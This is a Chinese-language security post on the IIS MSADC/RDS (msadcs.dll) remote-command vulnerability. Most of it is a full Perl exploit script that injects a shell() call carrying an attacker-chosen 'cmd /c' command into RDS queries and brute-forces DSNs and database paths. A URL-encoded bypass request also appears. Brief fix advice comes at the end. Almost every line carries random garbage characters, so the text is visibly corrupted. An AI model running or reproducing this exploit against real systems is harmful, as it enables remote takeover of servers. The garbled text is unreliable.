IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
':#DROe! JN> h: 涉及程序：
S:{`eDk\A_ Microsoft NT server
kj /v$m z# Db~ 描述：
@ @"abhT 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
J L!:`#\ (g3@3.Kk) 详细：
`L7Cf&W\l8 如果你没有时间读详细内容的话，就删除:
|{9&!=/qf c:\Program Files\Common Files\System\Msadc\msadcs.dll
}II)<g' 有关的安全问题就没有了。
SmCtw cB1 gtRVXgI 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
sM6o(=> ,u^%[ejH 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
@r3,|tkrz 关于利用ODBC远程漏洞的描述，请参看:
y7U?nP ')+ g[ O6WZ!F_ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm o[B"J96b O~4Q :#^c 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
*yqke<o9) http://www.microsoft.com/security/bulletins/MS99-025faq.asp tJ9gwx7Pg ZYs?65. 这里不再论述。
<8YIQA k~IRds@G 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
[Y -3C47 Z}yd` 7 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
1BOv|xPjZ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
EFz Pt?l 8)XAdAr 6ac_AsFK #将下面这段保存为txt文件，然后: "perl -x 文件名"
{ug* Q3rLCg,; #!perl
@j'GcN vs #
6!Uk c'r # MSADC/RDS 'usage' (aka exploit) script
1{ .5X8y1x #
i#:M2&twE # by rain.forest.puppy
<|1Kh ygv #
9T%b#~?3P # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
",P?jgs^g5 # beta test and find errors!
d-'BT(@: f[Xsri use Socket; use Getopt::Std;
:uB(PeAv* getopts("e:vd:h:XR", \%args);
EpB3s{B" DA^!aJ6iF print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
yM#
%UeZ\ O PJ(ub if (!defined $args{h} && !defined $args{R}) {
?e2G{0V print qq~
oq[r+E-]$@ Usage: msadc.pl -h <host> { -d <delay> -X -v }
$%.,=~W7 -h <host> = host you want to scan (ip or domain)
j 026CVL -d <seconds> = delay between calls, default 1 second
[
@9a -X = dump Index Server path table, if available
MN[D)RKh; -v = verbose
& {=}U -e = external dictionary file for step 5
[7h/ 2La#
/>2zKF? Or a -R will resume a command session
to(lE2`.da q+{y v ~; exit;}
KskPFXxP 3*#$:waGd $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
~WKWx.ul if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Q & S 7_ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
p
Cgm!t?/ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
0y3C
/> a $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
DqA$%b
yyE if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
2)9XTY 6$ GC7W7B if (!defined $args{R}){ $ret = &has_msadc;
$J =`fx die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
{=6CL'_ Qq3>Xv < print "Please type the NT commandline you want to run (cmd /c assumed):\n"
T$1(6<:+. . "cmd /c ";
-FQc_k?VF $in=<STDIN>; chomp $in;
6f)7*j~ $command="cmd /c " . $in ;
vQ8$C 3 j<A<\K if (defined $args{R}) {&load; exit;}
gUH|?@f @T] G5|\ok print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
S2:G #%EAa &try_btcustmr;
b K k7w#y ufo\p=pGG print "\nStep 2: Trying to make our own DSN...";
&Xi] 0\M) &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]sJjV
A Uj^Y\w-@Z print "\nStep 3: Trying known DSNs...";
j+[oZfH &known_dsn;
5h6-aQU[ T[ kS;-x print "\nStep 4: Trying known .mdbs...";
i4lB ]k &known_mdb;
&n]]OPo <.:mp1,8V if (defined $args{e}){
<vd}oiB@ print "\nStep 5: Trying dictionary of DSN names...";
85B B{ T; &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
)!=fy'] ??z&w`Yy, print "Sorry Charley...maybe next time?\n";
u3\_![Jt? exit;
?f:ND1jU J|C CTXT ##############################################################################
>=/DCQ$ 0Ok[ `r` sub sendraw { # ripped and modded from whisker
2]V8- sleep($delay); # it's a DoS on the server! At least on mine...
3:bP>l! my ($pstr)=@_;
m@"p#p t(_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
\qJ cs'D die("Socket problems\n");
r=# v@]z B if(connect(S,pack "SnA4x8",2,80,$target)){
pV*d"~T select(S); $|=1;
@ 1FWBH~ print $pstr; my @in=<S>;
.F3~eas select(STDOUT); close(S);
Z/LYTo$Bz return @in;
6kO+E5;X } else { die("Can't connect...\n"); }}
wlpcuz@ Rp
!Rzl< ##############################################################################
|Elz{i- Y4N)yMSl" sub make_header { # make the HTTP request
ekd;sEO my $msadc=<<EOT
#M<u^$Jz POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
0%qM`KZC User-Agent: ACTIVEDATA
|-xKH.' n Host: $ip
*~^%s +b Content-Length: $clen
5")BCA Connection: Keep-Alive
d>wG6Z, | g{JH5IZ~ ADCClientVersion:01.06
[6)vD@ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
99~ZZG QB*n
[(? --!ADM!ROX!YOUR!WORLD!
U["IXR# Content-Type: application/x-varg
e?WI=Og Content-Length: $reqlen
P_(< ?0l {6iHUK EOT
o3HS | ; $msadc=~s/\n/\r\n/g;
syk,e4:oA return $msadc;}
Jq tOoR $' KhA6 u ##############################################################################
~R7{gCqdr $E^*^({ sub make_req { # make the RDS request
CJ [e^K{ my ($switch, $p1, $p2)=@_;
Ni #y=cb my $req=""; my $t1, $t2, $query, $dsn;
v1$ }JX %:y"o_X_ if ($switch==1){ # this is the btcustmr.mdb query
d.k '\1o $query="Select * from Customers where City=" . make_shell();
j6Au<P $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
R^rA .7T $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
).jna`A, qot {#tk
d elsif ($switch==2){ # this is general make table query
Vu,:rPqI $query="create table AZZ (B int, C varchar(10))";
:AyZe7:(D $dsn="$p1";}
<Ys7`e6eY ZK8DziO elsif ($switch==3){ # this is general exploit table query
:fQN_*B4@4 $query="select * from AZZ where C=" . make_shell();
Fl++rUT $dsn="$p1";}
p<&d y^mS 0$|wj^?U elsif ($switch==4){ # attempt to hork file info from index server
soqnr"
1 $query="select path from scope()";
w D SSgk $dsn="Provider=MSIDXS;";}
Mm%b8#Fe! xI8v'[ 3 elsif ($switch==5){ # bad query
e*o:ltP./ $query="select";
F8B:P7I $dsn="$p1";}
8},fu3Z uKo4nXVtp $t1= make_unicode($query);
mWuhXY^Q $t2= make_unicode($dsn);
D1EH T} $req = "\x02\x00\x03\x00";
=h}PL22 $req.= "\x08\x00" . pack ("S1", length($t1));
'>>@I~<\ $req.= "\x00\x00" . $t1 ;
n;k
B_i*l $req.= "\x08\x00" . pack ("S1", length($t2));
I bE Nq $req.= "\x00\x00" . $t2 ;
RMa#z [{0 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
vr$z6m ^ return $req;}
$'b b)@_ Q#Xa]A - ##############################################################################
94.M 8 z_a7HCG2 sub make_shell { # this makes the shell() statement
8\[qR_LV return "'|shell(\"$command\")|'";}
_RX*Ps= D 66!C{ ##############################################################################
rm,h\ j4h?" sub make_unicode { # quick little function to convert to unicode
K\$z,}0 my ($in)=@_; my $out;
)`zfDio-1V for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
/!-ypIY
return $out;}
e_Q(l'f AmcBu" ##############################################################################
L'a>D {>l`P{{y sub rdo_success { # checks for RDO return success (this is kludge)
j{P3o<l&` my (@in) = @_; my $base=content_start(@in);
0vM,2:kf* if($in[$base]=~/multipart\/mixed/){
;+Mr|vweTC return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Do;rY\sY return 0;}
}j,G)\g# n7d`J_%s ##############################################################################
yj9 Ad*. e{0O "Jd` sub make_dsn { # this makes a DSN for us
RueL~$*6.~ my @drives=("c","d","e","f");
XU $\.g p- print "\nMaking DSN: ";
\>4x7mF! foreach $drive (@drives) {
WI54xu1M print "$drive: ";
* JVJKqed my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
6
i]B8Ziq{ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
#^q@ra . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
b!g8NG $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
.,SWa;[iB return 0 if $2 eq "404"; # not found/doesn't exist
.vXe}% if($2 eq "200") {
2|LkCu)~," foreach $line (@results) {
y#5;wb<1 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
t8-LPq } return 0;}
SMh[7lU` HO;,Y a^l ##############################################################################
}pv<<7}| S;S_<GX sub verify_exists {
JC4Z^/\. my ($page)=@_;
) 2Hl\"F my @results=sendraw("GET $page HTTP/1.0\n\n");
Xr pnc 7 return $results[0];}
i- r y5x jVdB- y/r ##############################################################################
u1 (8a%ZC oOK&+r7 sub try_btcustmr {
7 *HBb- my @drives=("c","d","e","f");
(+0yZ7AZ my @dirs=("winnt","winnt35","winnt351","win","windows");
wGnFDkCNz 0G/_"} @ foreach $dir (@dirs) {
)UG<KcdI print "$dir -> "; # fun status so you can see progress
MIwkFI8 foreach $drive (@drives) {
WhR'MkfL print "$drive: "; # ditto
ca8.8uHY\ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Sc&p*G $reqlenlen=length( "$reqlen" );
`<d{(9 :+ $clen= 206 + $reqlenlen + $reqlen;
6w^Fee`>] gNzamorv[ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
u\|Ys if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
0"$'1g^]7 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
/<oBgFMoJ G7H'OB
& ##############################################################################
t~FOaSt Hf$LWPL)lM sub odbc_error {
> v ]-B"Y my (@in)=@_; my $base;
JZB@K6 ~dO my $base = content_start(@in);
XRR`GBI if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
X7&
^"|: $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
p*(]8pDC $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
V .VV:`S $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Fs) m;C return $in[$base+4].$in[$base+5].$in[$base+6];}
qct:xviH<| print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
a,* ~wmg print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
BA|*V[HBE $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
`1"Xj ^
YM w
B[H & ##############################################################################
?BnjtefIe :0B'
b sub verbose {
j#E&u*IR my ($in)=@_;
|\
4cQ return if !$verbose;
B" :u5_B print STDOUT "\n$in\n";}
W02swhS 4PAuEM/z ##############################################################################
| WMq&-$D >pn5nn1a sub save {
tXnD>H YV my ($p1, $p2, $p3, $p4)=@_;
j #)K/` open(OUT, ">rds.save") || print "Problem saving parameters...\n";
6@o *"4~Q print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
h ?%]uFJC close OUT;}
Qcr-|?5L lVQy
{`Ns ##############################################################################
F%>`?NG+c 4I^8f||b _ sub load {
I<ta2<h my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
A VbGJ+ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
[boB4>. @p=<IN>; close(IN);
kI>PaZ`i) $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
p/!P kKJ $target= inet_aton($ip) || die("inet_aton problems");
(}LLk + print "Resuming to $ip ...";
wsLfp82 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Ykd< }KE> if($p[1]==1) {
<:U P $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
<v =T31aS $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
X6Hd%}*mN my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
1 ojy _ if (rdo_success(@results)){print "Success!\n";}
T.p:`}Ma else { print "failed\n"; verbose(odbc_error(@results));}}
j:6VWd gq elsif ($p[1]==3){
\z Pcn DB if(run_query("$p[3]")){
@-QDp`QtI print "Success!\n";} else { print "failed\n"; }}
y6S:[Z{~A elsif ($p[1]==4){
OJF41Z if(run_query($drvst . "$p[3]")){
D#G(&<Q print "Success!\n"; } else { print "failed\n"; }}
Zl+Ba exit;}
{Jj
vF G(1y_t ##############################################################################
|SF5 '\d' ]DO"2r sub create_table {
sAz]8(Fi0 my ($in)=@_;
]#VNZ#(" $reqlen=length( make_req(2,$in,"") ) - 28;
" ~&d= f0m $reqlenlen=length( "$reqlen" );
I,xV&j+< $clen= 206 + $reqlenlen + $reqlen;
2E":6:Wsw my @results=sendraw(make_header() . make_req(2,$in,""));
m@){@i2. return 1 if rdo_success(@results);
<ny)yK my $temp= odbc_error(@results); verbose($temp);
eDPmUlC+- return 1 if $temp=~/Table 'AZZ' already exists/;
Gv 3AJ'NL return 0;}
+kK6 G#c A(Ss:7({ ##############################################################################
_7LZ\V+MLW 1X i.OGl sub known_dsn {
H s~u&c # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
NXw$PM| +R my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
g$j ZpU "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
E}WO?xxv74 "banner", "banners", "ads", "ADCDemo", "ADCTest");
$m-rn'Q RIO4` , foreach $dSn (@dsns) {
5==}8<$ print ".";
+Ks! 9d*k< next if (!is_access("DSN=$dSn"));
otgU6S7F if(create_table("DSN=$dSn")){
y.:Z:w6$ print "$dSn successful\n";
b0_Ih6 if(run_query("DSN=$dSn")){
Ee cV%E print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
x)<Hr,wd print "Something's borked. Use verbose next time\n";}}} print "\n";}
R~R ?0aq h#>%\Pvt; ##############################################################################
<)
` ?s Y([YDn sub is_access {
.oNs8._:
my ($in)=@_;
C g! ]x
o $reqlen=length( make_req(5,$in,"") ) - 28;
pjP
R3
r $reqlenlen=length( "$reqlen" );
XeT{y]lkd $clen= 206 + $reqlenlen + $reqlen;
&m>sGCZ my @results=sendraw(make_header() . make_req(5,$in,""));
3 O)^Hq+9 my $temp= odbc_error(@results);
nBA0LIb verbose($temp); return 1 if ($temp=~/Microsoft Access/);
voHFU#Z$ return 0;}
WTcrfs)T hvS4"% \ ##############################################################################
Zh]FL8[
nc (haYY]W\ sub run_query {
@m=xCg.Z my ($in)=@_;
b&V}&9'[M; $reqlen=length( make_req(3,$in,"") ) - 28;
_26<}&]b* $reqlenlen=length( "$reqlen" );
=R
<X!@ $clen= 206 + $reqlenlen + $reqlen;
/T_ G9zc my @results=sendraw(make_header() . make_req(3,$in,""));
`IQ76Xl return 1 if rdo_success(@results);
:sY pZX1 my $temp= odbc_error(@results); verbose($temp);
O*ql!9} E{ return 0;}
x(Us
O} C;6Nu W ##############################################################################
fQ,L~:Y = rI t#ps sub known_mdb {
: 6*FnKD my @drives=("c","d","e","f","g");
*)jhhw=34 my @dirs=("winnt","winnt35","winnt351","win","windows");
M;{btu^a my $dir, $drive, $mdb;
c9eLNVM my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
l?N|Gj;ZFZ 7jZ=+2 # this is sparse, because I don't know of many
zNs8yMnFr my @sysmdbs=( "\\catroot\\icatalog.mdb",
s r&hQ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
f;nO$h[Qb "\\system32\\certmdb.mdb",
DhAQ|SdC f "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
K; +w'/{ 6jKZ.S+s) my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
|Ts| >"F' "\\cfusion\\cfapps\\forums\\forums_.mdb",
{iI" Lt "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
X7*i -v@ "\\cfusion\\cfapps\\security\\realm_.mdb",
{Di()]/ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
: ;nvqb d "\\cfusion\\database\\cfexamples.mdb",
J ( "\\cfusion\\database\\cfsnippets.mdb",
$#k 8xb "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
]d}U68$T+ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
QyGTm"9l "\\cfusion\\brighttiger\\database\\cleam.mdb",
GYX/G>-r "\\cfusion\\database\\smpolicy.mdb",
mct$.{~ "\\cfusion\\database\cypress.mdb",
7( &\)qf=n "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
!`rR;5&sT "\\website\\cgi-win\\dbsample.mdb",
^rmcyy8;g "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
'V=i;2mB* "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
l1&NU'WW ); #these are just
(W~')A"hC' foreach $drive (@drives) {
d%y)/5 foreach $dir (@dirs){
.@ 3 foreach $mdb (@sysmdbs) {
5ir[}I^z print ".";
p6MjVu if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
I,*zZNv Ri print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
vn NX)$f if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
ZB)`*z>* print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
"h-G=vo,kl } else { print "Something's borked. Use verbose next time\n"; }}}}}
5@Y rtZI %[< @$qP foreach $drive (@drives) {
m+t<<5I[- foreach $mdb (@mdbs) {
LRJY63A print ".";
X7cqAi if(create_table($drv . $drive . $dir . $mdb)){
aDV~ T24 print "\n" . $drive . $dir . $mdb . " successful\n";
p f\
Ybbs if(run_query($drv . $drive . $dir . $mdb)){
VO (KQx print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
XB 8g5AxR } else { print "Something's borked. Use verbose next time\n"; }}}}
_M;n.?H
}
m#\I&(l+ v0D~zV"<y ##############################################################################
H{}Nr
4
b6`_;Z sub hork_idx {
DLigpid print "\nAttempting to dump Index Server tables...\n";
S,ENbP%0r print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
~o_zV'^f@o $reqlen=length( make_req(4,"","") ) - 28;
{D c{e5K $reqlenlen=length( "$reqlen" );
+f}u.T_# $clen= 206 + $reqlenlen + $reqlen;
K1th>!JW' my @results=sendraw2(make_header() . make_req(4,"",""));
J v,*rQH if (rdo_success(@results)){
'7oWN,- my $max=@results; my $c; my %d;
>/r^l)`9_f for($c=19; $c<$max; $c++){
>@Nn_d $results[$c]=~s/\x00//g;
$ ?HOke $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
5~,/VV $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
4Y2!q$}I+ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
w$a iVOjgT $d{"$1$2"}="";}
}nsxo5WP foreach $c (keys %d){ print "$c\n"; }
Jq5]( F!z } else {print "Index server doesn't seem to be installed.\n"; }}
6m ~ N 2^z Y"n$d0% ##############################################################################
!` A]YcQ |7pi9 sub dsn_dict {
TtWE:xE open(IN, "<$args{e}") || die("Can't open external dictionary\n");
SHAC(3o /e while(<IN>){
5DI& pR1eZ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
iI]E%H} next if (!is_access("DSN=$dSn"));
?o D]J if(create_table("DSN=$dSn")){
5x2m ]u print "$dSn successful\n";
;8~tt I if(run_query("DSN=$dSn")){
< Z>p1S print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
8mmHefZ}2! print "Something's borked. Use verbose next time\n";}}}
yUyx&Y/ print "\n"; close(IN);}
W Z A8D0[ !wU~;sL8C3 ##############################################################################
\# hp,XV> o^\L41x3 sub sendraw2 { # ripped and modded from whisker
yP~O C|Z sleep($delay); # it's a DoS on the server! At least on mine...
,. K}uW my ($pstr)=@_;
Iy V%tOy socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Z ? F*Z0y die("Socket problems\n");
vNA~EV02 if(connect(S,pack "SnA4x8",2,80,$target)){
=SUCcdy& print "Connected. Getting data";
]\ .3<^ open(OUT,">raw.out"); my @in;
3G.-JLhs select(S); $|=1; print $pstr;
s|O4 >LsG while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
<5xlP:Cx close(OUT); select(STDOUT); close(S); return @in;
>!g W]{ } else { die("Can't connect...\n"); }}
7` G
FtX} t0"2S i ##############################################################################
b~u53 Qp5YS sub content_start { # this will take in the server headers
j1sgvh]D my (@in)=@_; my $c;
VGVb 3@ for ($c=1;$c<500;$c++) {
ImG7 E
w if($in[$c] =~/^\x0d\x0a/){
jgyXb5GY if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
skeXsls else { return $c+1; }}}
H!81Pq~ return -1;} # it should never get here actually
u&npUw^Va ,K-?M5 (n9 ##############################################################################
B7u4e8(E* t*Xo@KA sub funky {
q=J8 SvSRl my (@in)=@_; my $error=odbc_error(@in);
rQ:+LVfXjA if($error=~/ADO could not find the specified provider/){
Z{ AF8r print "\nServer returned an ADO miscofiguration message\nAborting.\n";
"Xz [|Xl exit;}
b-"kclK if($error=~/A Handler is required/){
mR1|8H!f print "\nServer has custom handler filters (they most likely are patched)\n";
:rdnb=n exit;}
}R\;htmc; if($error=~/specified Handler has denied Access/){
\Q~HL_fy|Y print "\nServer has custom handler filters (they most likely are patched)\n";
VmbfwHRWb exit;}}
b;~?a#Z} m +LP5S ##############################################################################
+ak<yV1= "/~KB~bB sub has_msadc {
_KSlIgQ
}0 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
@@QB,VS;{< my $base=content_start(@results);
ol #4 AU` return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
U~l.%mui return 0;}
b&_u+g -nL!#R{e ########################
X[;-SXq d+iV19 #i 7FYq6wi 解决方案：
!hc#il'g]. 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
-SeHz.` N 2、移除web 目录: /msadc
